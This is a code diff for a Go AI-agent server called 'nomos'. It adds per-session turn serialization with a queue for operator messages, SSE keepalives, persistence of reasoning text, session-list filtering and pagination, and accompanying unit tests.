// interleaving that corrupted the activity panel and made tasks feel stuck.
|
||||
//
|
||||
// Returns whether the turn actually ran. Callers that mutate state before
|
||||
// resuming (the continuation worker's markContinued, the idle sweep's nudge
|
||||
// bump) MUST gate that mutation on a true return — otherwise a busy-skip leaves
|
||||
// the state changed but the work undone (lost continuation / false auto-close).
|
||||
// See plans/2026-08-03-nomos-chat-changes-review.md P0/P1.
|
||||
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) bool {
|
||||
if !a.gate.acquire(sessionID, 0) {
|
||||
slog.Info("nomos: turn already active, skipping background resume", "session", sessionID)
|
||||
return false
|
||||
}
|
||||
// Release the gate, then drain any operator message that was queued while
|
||||
// this background turn ran (plan 2026-08-03 F2). Queued messages are run as
|
||||
// real user turns server-side; resumeSession itself never enqueues.
|
||||
defer func() {
|
||||
a.gate.release(sessionID)
|
||||
safego.Go("nomos:drain:"+sessionID, func() { a.drainQueued(context.Background(), sessionID) })
|
||||
}()
|
||||
|
||||
placeholder, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": "",
|
||||
@@ -200,6 +242,7 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
|
||||
var toolCalls []map[string]any
|
||||
var finalText, errText string
|
||||
var finalThinking string
|
||||
|
||||
persist := func() {
|
||||
if msgID == uuid.Nil {
|
||||
@@ -212,6 +255,7 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": text,
|
||||
"thinking": finalThinking,
|
||||
"tool_calls": toolCalls,
|
||||
"auto": true, // marks this as an autonomous continuation, not an operator turn
|
||||
})
|
||||
@@ -242,15 +286,19 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
if attempt > 0 {
|
||||
select {
|
||||
case <-cctx.Done():
|
||||
return
|
||||
return true // a turn ran on an earlier attempt; consume, don't re-loop
|
||||
case <-time.After(time.Duration(2<<attempt) * time.Second): // 4s, 8s
|
||||
}
|
||||
}
|
||||
toolCalls, finalText, errText = nil, "", ""
|
||||
finalThinking = ""
|
||||
// P3: accumulate per-iteration reasoning instead of overwriting
|
||||
// (same fix as main.go's chat handler). Without this, a resumed
|
||||
// turn's intermediate thinking is lost on reload.
|
||||
// (same fix as main.go's chat handler). Without this, a resumed
|
||||
// turn's intermediate thinking is lost on reload.
|
||||
var textParts []string
|
||||
var thinkingParts []string
|
||||
emit := func(ev agentEvent) {
|
||||
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
||||
if m, ok := ev.Data.(map[string]any); ok {
|
||||
@@ -277,8 +325,13 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
}
|
||||
if ev.Type == "text" {
|
||||
if t, ok := ev.Data.(string); ok && t != "" {
|
||||
textParts = append(textParts, t)
|
||||
finalText = strings.Join(textParts, "\n\n")
|
||||
if ev.IsThinking {
|
||||
thinkingParts = append(thinkingParts, t)
|
||||
finalThinking = strings.Join(thinkingParts, "\n\n")
|
||||
} else {
|
||||
textParts = append(textParts, t)
|
||||
finalText = strings.Join(textParts, "\n\n")
|
||||
}
|
||||
persist()
|
||||
}
|
||||
}
|
||||
@@ -314,9 +367,10 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
// No placeholder was inserted (rare), save directly.
|
||||
a.store.saveMessage(context.Background(), sessionID, "assistant", body)
|
||||
}
|
||||
return // do not call persist() again — already persisted above
|
||||
return true // do not call persist() again — already persisted above
|
||||
}
|
||||
persist() // final state — same row, updated one last time with the concluding text
|
||||
return true
|
||||
}
|
||||
|
||||
// buildContinuationNote frames the finished execution for the model: what
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
package main
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func TestExtractExecutionIDs(t *testing.T) {
|
||||
// Real tool-result phrasings that should yield an execution id.
|
||||
@@ -37,3 +42,37 @@ func TestExtractExecutionIDs(t *testing.T) {
|
||||
t.Errorf("expected de-dup to 1 id, got %v", ids)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResumeSession_SkipsWhenBusy guards the P0 fix
|
||||
// (plans/2026-08-03-nomos-chat-changes-review.md): resumeSession must skip —
|
||||
// return false, body never executed — when a turn is already active for the
|
||||
// session. continueSession relies on this so it only marks a continuation
|
||||
// "continued" after a turn really ran (otherwise the result is lost: marked
|
||||
// continued, never re-queued by pendingContinuations).
|
||||
//
|
||||
// A minimal agent with only a gate is enough: if the body ever ran, chatWith
|
||||
// would dereference the nil provider and panic. Returning false cleanly proves
|
||||
// the body was skipped.
|
||||
func TestResumeSession_SkipsWhenBusy(t *testing.T) {
|
||||
a := &agent{gate: newTurnGate()}
|
||||
if !a.gate.acquire("sess", 0) {
|
||||
t.Fatal("precondition: initial acquire should succeed on a free session")
|
||||
}
|
||||
ran := a.resumeSession(context.Background(), "sess", "note")
|
||||
if ran {
|
||||
t.Fatal("resumeSession must return false (skip) while a turn is active for the session")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContinueSession_DefersWhenBusy guards the other half of P0: when the
|
||||
// session is busy, continueSession defers (leaves the execution pending for the
|
||||
// next worker tick) instead of running or marking it. It must return cleanly
|
||||
// without reaching resumeSession's body (nil provider → panic) or markContinued.
|
||||
func TestContinueSession_DefersWhenBusy(t *testing.T) {
|
||||
a := &agent{gate: newTurnGate()}
|
||||
if !a.gate.acquire("sess", 0) {
|
||||
t.Fatal("precondition: initial acquire should succeed on a free session")
|
||||
}
|
||||
p := pendingContinuation{ExecID: uuid.New(), SessionID: "sess", Status: "completed"}
|
||||
a.continueSession(context.Background(), p) // must not panic; must not run/mark
|
||||
}
|
||||
|
||||
@@ -319,8 +319,10 @@ func fetchTranscript(ctx context.Context, gateway, sid string) (transcript, sess
|
||||
}
|
||||
// Fetch the plan (steps with generation numbers) for the
|
||||
// plan_generations assertion. A 404 or empty response is fine — a
|
||||
// pure-DB Q&A with no propose_plan has no plan.
|
||||
if planResp, perr := http.Get(gateway + "/sessions/" + sid + "/plan"); perr == nil {
|
||||
// pure-DB Q&A with no propose_plan has no plan. ?all=true returns every
|
||||
// generation so the assertion can count them (the default view returns
|
||||
// only the current generation).
|
||||
if planResp, perr := http.Get(gateway + "/sessions/" + sid + "/plan?all=true"); perr == nil {
|
||||
if planResp.StatusCode == 200 {
|
||||
pb, _ := io.ReadAll(planResp.Body)
|
||||
_ = json.Unmarshal(pb, &t) // fills t.PlanSteps via "steps" field
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
@@ -166,6 +167,147 @@ func sseEvent(w http.ResponseWriter, flusher http.Flusher, event agentEvent) {
|
||||
flusher.Flush()
|
||||
}
|
||||
|
||||
// runChatTurn is the shared core of an operator-initiated turn: insert an
|
||||
// assistant placeholder, run a.chat with incremental persistence (so whatever
|
||||
// happened before an abort is never lost), finalize the row, and derive a
|
||||
// title. It is agnostic to the transport: `sink` receives every agent event
|
||||
// for delivery (SSE for a live handleChat, a no-op for a queued turn that has
|
||||
// no client attached — the frontend learns about those via the poller + the
|
||||
// status-driven "working" signal). The caller MUST already hold the session's
|
||||
// turn-gate permit.
|
||||
func (a *agent) runChatTurn(pctx, ctx context.Context, sessionID, message string, sink func(agentEvent)) {
|
||||
toolCalls := []map[string]any{}
|
||||
// P3: accumulate per-iteration reasoning instead of overwriting with the
|
||||
// final `text` event (see the original inline comment in handleChat).
|
||||
var textParts []string
|
||||
var thinkingParts []string
|
||||
var finalText string
|
||||
var finalThinking string
|
||||
|
||||
placeholder, _ := json.Marshal(map[string]any{"role": "assistant", "text": ""})
|
||||
msgID, err := a.store.insertMessageReturningID(pctx, sessionID, "assistant", placeholder)
|
||||
if err != nil {
|
||||
slog.Error("nomos: chat placeholder insert failed", "session", sessionID, "error", err)
|
||||
}
|
||||
persist := func() {
|
||||
if msgID == uuid.Nil {
|
||||
return
|
||||
}
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": finalText,
|
||||
"thinking": finalThinking,
|
||||
"tool_calls": toolCalls,
|
||||
})
|
||||
a.store.updateMessage(pctx, msgID, body)
|
||||
}
|
||||
|
||||
a.chat(ctx, sessionID, message, func(ev agentEvent) {
|
||||
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
||||
if m, ok := ev.Data.(map[string]any); ok {
|
||||
m["type"] = ev.Type
|
||||
// One entry per tool call: tool_use creates it, tool_result
|
||||
// merges the result into the same entry (matched by id).
|
||||
id, _ := m["id"].(string)
|
||||
if id != "" && ev.Type == "tool_result" {
|
||||
for _, existing := range toolCalls {
|
||||
if eID, _ := existing["id"].(string); eID == id {
|
||||
for k, v := range m {
|
||||
existing[k] = v
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
toolCalls = append(toolCalls, m)
|
||||
}
|
||||
}
|
||||
persist() // live: survives even if the client disconnects right after
|
||||
}
|
||||
if ev.Type == "text" {
|
||||
if t, ok := ev.Data.(string); ok && t != "" {
|
||||
if ev.IsThinking {
|
||||
thinkingParts = append(thinkingParts, t)
|
||||
finalThinking = strings.Join(thinkingParts, "\n\n")
|
||||
} else {
|
||||
textParts = append(textParts, t)
|
||||
finalText = strings.Join(textParts, "\n\n")
|
||||
}
|
||||
persist()
|
||||
}
|
||||
}
|
||||
sink(ev)
|
||||
})
|
||||
|
||||
// B.6: if the turn ended with no text and no tool calls (the model
|
||||
// empty-response'd and all retries failed), delete the placeholder row
|
||||
// instead of persisting an empty bubble.
|
||||
if finalText == "" && len(toolCalls) == 0 && msgID != uuid.Nil {
|
||||
a.store.deleteMessage(pctx, msgID)
|
||||
} else {
|
||||
persist() // final state — same row, updated one last time
|
||||
}
|
||||
|
||||
// Title: prefer the goal once set; else the first assistant answer.
|
||||
if finalText != "" && sessionID != "ephemeral" {
|
||||
var goalTitle string
|
||||
if sess, gerr := a.store.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
|
||||
goalTitle = truncate(sess.Goal, 120)
|
||||
}
|
||||
title := goalTitle
|
||||
if title == "" {
|
||||
title = truncate(finalText, 80)
|
||||
}
|
||||
if title != "" {
|
||||
a.store.updateSessionTitle(pctx, sessionID, title)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drainAcquireWait is how long drainQueued blocks for a busy gate before
|
||||
// re-queuing and deferring to the holder's own release-drain. A package var so
|
||||
// tests can shorten it; in production it just needs to outlast the brief
|
||||
// release→drain handoff window.
|
||||
var drainAcquireWait = 5 * time.Second
|
||||
|
||||
// drainQueued runs every queued operator message for a session as its own turn,
|
||||
// one at a time, under the turn gate. Called (in a goroutine) whenever a turn
|
||||
// releases the gate — from handleChat (live) and resumeSession (background) —
|
||||
// so a message queued while the agent was busy is acted on as soon as it's
|
||||
// free, without the operator re-sending. See messagequeue.go (plan 2026-08-03
|
||||
// F2).
|
||||
//
|
||||
// Each queued turn is persisted incrementally and has no SSE client (the
|
||||
// browser detached after receiving the `queued` event); the frontend sees the
|
||||
// result via the 3s poller and the status-driven "working" indicator.
|
||||
func (a *agent) drainQueued(ctx context.Context, sessionID string) {
|
||||
for {
|
||||
msg, ok := a.queue.dequeue(sessionID)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
// Block briefly for the gate. If a live turn grabbed it first, put the
|
||||
// message back — that turn's release will drain it again. Never stack.
|
||||
if !a.gate.acquire(sessionID, drainAcquireWait) {
|
||||
a.queue.requeueFront(sessionID, msg)
|
||||
return
|
||||
}
|
||||
slog.Info("nomos: running queued operator message", "session", sessionID)
|
||||
pctx := context.Background()
|
||||
// Run the turn inside a per-iteration closure so the gate release is
|
||||
// deferred to the end of THIS turn (and runs even if runChatTurn
|
||||
// panics — safego recovers the panic at the goroutine boundary, so a
|
||||
// non-deferred release would be skipped and the session's permit held
|
||||
// forever, deadlocking all future turns). A bare `defer release` in
|
||||
// the loop would be wrong too: Go defers run at function exit, not
|
||||
// iteration exit, so the gate would stay held across iterations.
|
||||
func() {
|
||||
defer a.gate.release(sessionID)
|
||||
a.runChatTurn(pctx, ctx, sessionID, msg, func(agentEvent) {})
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
@@ -185,12 +327,22 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
return
|
||||
}
|
||||
|
||||
// Empty message with an existing session = reconnect/resume. The
|
||||
// frontend sends this after a dropped SSE stream to re-establish the
|
||||
// connection and catch up on any auto-continuation work that happened
|
||||
// while disconnected. Route into resumeSession so the agent sees a
|
||||
// system note and reports current state.
|
||||
// Empty message with an existing session = reconnect/resume. This path is
|
||||
// defensive now — the frontend (post F2) recovers a dropped SSE via the
|
||||
// poller + terminal task.status clearing, and no longer POSTs empty
|
||||
// messages. If a client ever does, route into resumeSession so the agent
|
||||
// reports current state — but SKIP a terminal session (done/failed/
|
||||
// abandoned): there's nothing to resume, and running a "report state"
|
||||
// turn there is just a spare turn the operator never asked for (P2.1).
|
||||
if req.Message == "" && req.SessionID != "" {
|
||||
if sess, err := st.getSession(context.Background(), req.SessionID); err == nil {
|
||||
switch sess.Status {
|
||||
case "done", "failed", "abandoned":
|
||||
slog.Info("nomos: reconnect skipped — session already terminal", "session", req.SessionID, "status", sess.Status)
|
||||
w.WriteHeader(202)
|
||||
return
|
||||
}
|
||||
}
|
||||
slog.Info("nomos: reconnect", "session", req.SessionID)
|
||||
safego.Go("nomos:reconnect:"+req.SessionID, func() {
|
||||
base := "[System: the operator's connection was re-established. The task may have progressed in the background.]"
|
||||
@@ -199,7 +351,7 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
})
|
||||
// Return 202 so the frontend doesn't try to consume an SSE stream
|
||||
// from this POST — resumeSession writes to the DB directly and
|
||||
// the poller (already running from handleDisconnect) picks it up.
|
||||
// the poller picks it up.
|
||||
w.WriteHeader(202)
|
||||
return
|
||||
}
|
||||
@@ -213,8 +365,20 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
w.Header().Set("Content-Type", "text/event-stream")
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
w.Header().Set("Connection", "keep-alive")
|
||||
w.Header().Set("X-Accel-Buffering", "no") // disable proxy buffering
|
||||
w.WriteHeader(200)
|
||||
|
||||
// All writes to w (events + the keepalive comment below) go through one
|
||||
// mutex: http.ResponseWriter is NOT safe for concurrent use, and the
|
||||
// keepalive ticker runs alongside the turn's event sink (plan 2026-08-03
|
||||
// F3). Without this, interleaved writes corrupt the SSE stream.
|
||||
var writeMu sync.Mutex
|
||||
writeEvent := func(ev agentEvent) {
|
||||
writeMu.Lock()
|
||||
defer writeMu.Unlock()
|
||||
sseEvent(w, flusher, ev)
|
||||
}
|
||||
|
||||
ctx := r.Context()
|
||||
sessionID := req.SessionID
|
||||
|
||||
@@ -266,98 +430,65 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
st.answerQuestion(pctx, sessionID, qid, req.Message)
|
||||
}
|
||||
|
||||
sseEvent(w, flusher, agentEvent{Type: "session", Data: sessionID, SessionID: sessionID})
|
||||
writeEvent(agentEvent{Type: "session", Data: sessionID, SessionID: sessionID})
|
||||
|
||||
toolCalls := []map[string]any{}
|
||||
// P3: accumulate per-iteration reasoning instead of overwriting with
|
||||
// the final `text` event. The agent loop emits a `text` event for each
|
||||
// LLM iteration that produced text (intermediate reasoning before tool
|
||||
// calls + the final answer). Without accumulation, only the last `text`
|
||||
// survives in the persisted row — a reload shows the final summary but
|
||||
// not the thinking that led to each tool call.
|
||||
var textParts []string
|
||||
var finalText string
|
||||
|
||||
// Incremental persistence, mirroring resumeSession's existing
|
||||
// placeholder+update pattern (continue.go): insert a placeholder now,
|
||||
// update the SAME row after every tool call, so whatever happened before
|
||||
// an abort is never lost — only what hadn't happened yet is.
|
||||
placeholder, _ := json.Marshal(map[string]any{"role": "assistant", "text": ""})
|
||||
msgID, err := st.insertMessageReturningID(pctx, sessionID, "assistant", placeholder)
|
||||
if err != nil {
|
||||
slog.Error("nomos: chat placeholder insert failed", "session", sessionID, "error", err)
|
||||
}
|
||||
persist := func() {
|
||||
if msgID == uuid.Nil {
|
||||
return
|
||||
}
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": finalText,
|
||||
"tool_calls": toolCalls,
|
||||
})
|
||||
st.updateMessage(pctx, msgID, body)
|
||||
// F1/F2 (plan 2026-08-03): serialize turns per session. The user message is
|
||||
// already persisted above, so it is never lost. Wait briefly for a finishing
|
||||
// background turn; if one is still running after that, QUEUE this message
|
||||
// (don't reject it) and tell the client so it shows a "queued" state. The
|
||||
// in-flight turn's release drains the queue (drainQueued) and runs it as a
|
||||
// real turn server-side. This never stacks concurrent turns — the gate still
|
||||
// guarantees one in-flight turn per session.
|
||||
const turnWait = 5 * time.Second
|
||||
if !a.gate.acquire(sessionID, turnWait) {
|
||||
a.queue.enqueue(sessionID, req.Message)
|
||||
slog.Info("nomos: turn already active, queued operator message", "session", sessionID)
|
||||
writeEvent(agentEvent{Type: "queued", Data: sessionID, SessionID: sessionID})
|
||||
writeEvent(agentEvent{Type: "done", Data: map[string]any{
|
||||
"session_id": sessionID,
|
||||
"queued": true,
|
||||
}, SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
defer func() {
|
||||
a.gate.release(sessionID)
|
||||
// Run any message that was queued while this turn held the gate. In a
|
||||
// goroutine so the HTTP response finishes without waiting on the next
|
||||
// turn; the queued turn has no SSE client of its own.
|
||||
safego.Go("nomos:drain:"+sessionID, func() { a.drainQueued(context.Background(), sessionID) })
|
||||
}()
|
||||
|
||||
a.chat(ctx, sessionID, req.Message, func(ev agentEvent) {
|
||||
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
||||
if m, ok := ev.Data.(map[string]any); ok {
|
||||
m["type"] = ev.Type
|
||||
// One entry per tool call: tool_use creates it, tool_result
|
||||
// merges the result into the same entry (matched by id).
|
||||
// Before this fix, both events appended separate entries,
|
||||
// doubling every tool call in the persisted transcript
|
||||
// (confirmed pre-existing in d9cdcee1, v0.3.x era).
|
||||
id, _ := m["id"].(string)
|
||||
if id != "" && ev.Type == "tool_result" {
|
||||
for _, existing := range toolCalls {
|
||||
if eID, _ := existing["id"].(string); eID == id {
|
||||
for k, v := range m {
|
||||
existing[k] = v
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
toolCalls = append(toolCalls, m)
|
||||
}
|
||||
}
|
||||
persist() // live: survives even if the client disconnects right after
|
||||
}
|
||||
if ev.Type == "text" {
|
||||
// P3: accumulate. Each `text` event is one iteration's reasoning
|
||||
// (or the final answer). Join with newlines so the persisted row
|
||||
// reads as the full transcript of what the agent said, not just
|
||||
// the last thing.
|
||||
if t, ok := ev.Data.(string); ok && t != "" {
|
||||
textParts = append(textParts, t)
|
||||
finalText = strings.Join(textParts, "\n\n")
|
||||
persist()
|
||||
// F3 (plan 2026-08-03): keep the SSE alive during long turns. A turn can
|
||||
// run for many minutes (provisioning chains, deep research); the model
|
||||
// often takes 20-40s between tool iterations, and with nothing flushed in
|
||||
// that gap a proxy/browser idle timeout silently closes the stream. The
|
||||
// client then sees streaming=false while the server keeps working — the
|
||||
// "I can't tell it's working" desync. An SSE comment line (":keepalive") is
|
||||
// ignored by EventSource but resets idle timers.
|
||||
keepDone := make(chan struct{})
|
||||
go func() {
|
||||
t := time.NewTicker(12 * time.Second)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-keepDone:
|
||||
return
|
||||
case <-t.C:
|
||||
writeMu.Lock()
|
||||
fmt.Fprintf(w, ":keepalive\n\n")
|
||||
flusher.Flush()
|
||||
writeMu.Unlock()
|
||||
}
|
||||
}
|
||||
sseEvent(w, flusher, ev)
|
||||
}()
|
||||
// Defer the close (not a statement after runChatTurn) so the goroutine
|
||||
// exits even if runChatTurn panics — net/http recovers handler panics, so
|
||||
// a non-deferred close would be skipped and the ticker would keep writing
|
||||
// to a dead ResponseWriter forever.
|
||||
defer close(keepDone)
|
||||
a.runChatTurn(pctx, ctx, sessionID, req.Message, func(ev agentEvent) {
|
||||
writeEvent(ev)
|
||||
})
|
||||
|
||||
// B.6: if the turn ended with no text and no tool calls (the model
|
||||
// empty-response'd and all retries failed), delete the placeholder row
|
||||
// instead of persisting an empty bubble. The error event was already
|
||||
// streamed to the frontend via the 'done with error=true' event, so the
|
||||
// operator sees the error inline — an empty assistant bubble in the
|
||||
// transcript adds nothing and looks like the agent is broken.
|
||||
if finalText == "" && len(toolCalls) == 0 && msgID != uuid.Nil {
|
||||
st.deleteMessage(pctx, msgID)
|
||||
} else {
|
||||
persist() // final state — same row, updated one last time with the concluding text
|
||||
}
|
||||
|
||||
// Generate a meaningful title from the assistant's first answer
|
||||
// instead of reusing the raw user message for every session.
|
||||
if finalText != "" && sessionID != "ephemeral" {
|
||||
title := truncate(finalText, 80)
|
||||
if title != "" {
|
||||
st.updateSessionTitle(pctx, sessionID, title)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
||||
@@ -371,13 +502,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
||||
return
|
||||
}
|
||||
|
||||
sessions, err := st.listSessions(r.Context())
|
||||
// P2.8 (2026-07-20): filtering + pagination. The audit script in
|
||||
// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
|
||||
// client-side; "show me partial sessions touching lxc:rclone"
|
||||
// required fetching the full list and filtering in JS. Push the
|
||||
// filters into SQL so the audit becomes a single `curl | jq`.
|
||||
// Supported query params (all optional, composable):
|
||||
// ?outcome=partial|success|failure — exact match on outcome
|
||||
// ?status=active|done|failed|executing — exact match on status
|
||||
// ?entity_id=<uuid> — exact match on entity_id
|
||||
// ?since=<RFC3339 or duration> — last_active_at >= ...
|
||||
// ?blocker=<reason> — exact match on blocker
|
||||
// ?limit=<int> — default 50, max 200
|
||||
// ?cursor=<iso timestamp> — last_active_at < cursor (page back)
|
||||
q := r.URL.Query()
|
||||
limit := 50
|
||||
if v := q.Get("limit"); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
|
||||
Outcome: q.Get("outcome"),
|
||||
Status: q.Get("status"),
|
||||
EntityID: q.Get("entity_id"),
|
||||
Blocker: q.Get("blocker"),
|
||||
Since: q.Get("since"),
|
||||
Cursor: q.Get("cursor"),
|
||||
Limit: limit,
|
||||
})
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
// Next-page cursor: the oldest last_active_at in this page. The next
|
||||
// request passes it as ?cursor=... to get the page before it. Empty
|
||||
// when the list is exhausted.
|
||||
var nextCursor string
|
||||
if len(sessions) > 0 {
|
||||
oldest := sessions[len(sessions)-1].LastActiveAt
|
||||
nextCursor = oldest.UTC().Format(time.RFC3339Nano)
|
||||
if len(sessions) < limit {
|
||||
nextCursor = "" // last page
|
||||
}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"sessions": sessions,
|
||||
"next_cursor": nextCursor,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
||||
@@ -417,10 +591,16 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
||||
// the context panel when it first opens a task; live events carry deltas
|
||||
// from there.
|
||||
// GET /sessions/{id}/tool_calls — flat view of every tool call in the
|
||||
// session, without the two-level message-shell nesting. The audit at
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
|
||||
// Python to walk messages[].content.tool_calls[]; this endpoint makes
|
||||
// it a single `curl | jq`.
|
||||
if len(parts) == 2 && r.Method == http.MethodGet {
|
||||
switch parts[1] {
|
||||
case "plan":
|
||||
steps, err := st.getPlanSteps(r.Context(), id)
|
||||
all := r.URL.Query().Has("all") && r.URL.Query().Get("all") != "0" && r.URL.Query().Get("all") != "false"
|
||||
steps, err := st.getPlanSteps(r.Context(), id, all)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
@@ -437,6 +617,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
||||
return
|
||||
case "tool_calls":
|
||||
calls, err := st.getSessionToolCalls(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
@@ -449,14 +638,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
w.WriteHeader(204)
|
||||
|
||||
case http.MethodGet:
|
||||
// getMessages alone can't distinguish "session exists but has no
|
||||
// messages yet" from "session id doesn't exist at all" — it's a
|
||||
// plain WHERE session_id=$1 query that returns zero rows either
|
||||
// way. A frontend window opened for a deleted/invalid session
|
||||
// (persisted layout, a stale link) needs to tell those apart, so
|
||||
// check existence explicitly and 404 rather than silently
|
||||
// returning an empty transcript that looks like a fresh task.
|
||||
if _, err := st.getSession(r.Context(), id); err != nil {
|
||||
// P2.7 (2026-07-20): return BOTH session metadata and messages
|
||||
// from GET /sessions/{id}. Previously this endpoint returned only
|
||||
// {session_id, messages} — the operator had to merge with the
|
||||
// /sessions list view to get title/goal/outcome. The eval harness
|
||||
// at cmd/nomos/eval/main.go:302-303 already carries a comment
|
||||
// about this leaky abstraction. The session field carries the
|
||||
// full metadata: title, goal, outcome, summary, blocker,
|
||||
// pending_approvals, message_count, tool_call_count, etc. The
|
||||
// messages field is unchanged. Clients that only read
|
||||
// `messages` keep working.
|
||||
sess, err := st.getSession(r.Context(), id)
|
||||
if err != nil {
|
||||
if err == pgx.ErrNoRows {
|
||||
http.Error(w, "session not found", 404)
|
||||
return
|
||||
@@ -470,7 +663,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"session_id": id,
|
||||
"session": sess,
|
||||
"messages": messages,
|
||||
})
|
||||
|
||||
default:
|
||||
http.Error(w, "method not allowed", 405)
|
||||
@@ -621,7 +818,7 @@ func newMCPClient(baseURL, token string) (*mcpClient, error) {
|
||||
c := &mcpClient{
|
||||
baseURL: baseURL,
|
||||
token: token,
|
||||
http: &http.Client{Timeout: 30 * time.Second},
|
||||
http: &http.Client{Timeout: 120 * time.Second},
|
||||
}
|
||||
|
||||
resp, err := c.doRequest("initialize", map[string]any{
|
||||
|
||||
82
cmd/nomos/messagequeue.go
Normal file
82
cmd/nomos/messagequeue.go
Normal file
@@ -0,0 +1,82 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"log/slog"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// maxQueuedPerSession caps a session's queue. A held turn plus unbounded
|
||||
// enqueues would grow memory without limit; an operator nudging a long
|
||||
// autonomous turn realistically queues only a handful, so a generous cap is
|
||||
// pure insurance. Overflow drops the newest enqueue and logs (the message is
|
||||
// already persisted in the DB by handleChat before enqueue, so it isn't lost
|
||||
// from the transcript — it just won't auto-run).
|
||||
const maxQueuedPerSession = 20
|
||||
|
||||
// messageQueue holds operator messages that arrived while a turn was already
|
||||
// running for a session. Plan 2026-08-03 (F2): instead of rejecting the
|
||||
// operator's message with "Nomos is still finishing a previous step… send it
|
||||
// again", the message is queued and auto-run when the in-flight turn releases
|
||||
// the session's turn-gate permit.
|
||||
//
|
||||
// The queue only schedules WHEN a turn runs, not WHETHER the message is stored
|
||||
// — handleChat persists the user message before acquiring the gate, so a queued
|
||||
// message is already in the transcript; this just makes sure a turn eventually
|
||||
// acts on it.
|
||||
//
|
||||
// Draining is strictly one-at-a-time under the turn gate (see drainQueued in
|
||||
// main.go), so this cannot stack concurrent turns — the exact hazard the gate
|
||||
// itself exists to prevent. Background resumeSession callers never touch this
|
||||
// queue; they keep their non-blocking skip.
|
||||
type messageQueue struct {
|
||||
mu sync.Mutex
|
||||
queue map[string][]string
|
||||
}
|
||||
|
||||
func newMessageQueue() *messageQueue {
|
||||
return &messageQueue{queue: map[string][]string{}}
|
||||
}
|
||||
|
||||
// enqueue appends a message to the back of the session's FIFO. Returns false
|
||||
// (and logs) if the session is already at maxQueuedPerSession — the caller's
|
||||
// message is already persisted in the DB, so this only skips auto-running it.
|
||||
func (q *messageQueue) enqueue(sessionID, msg string) bool {
|
||||
q.mu.Lock()
|
||||
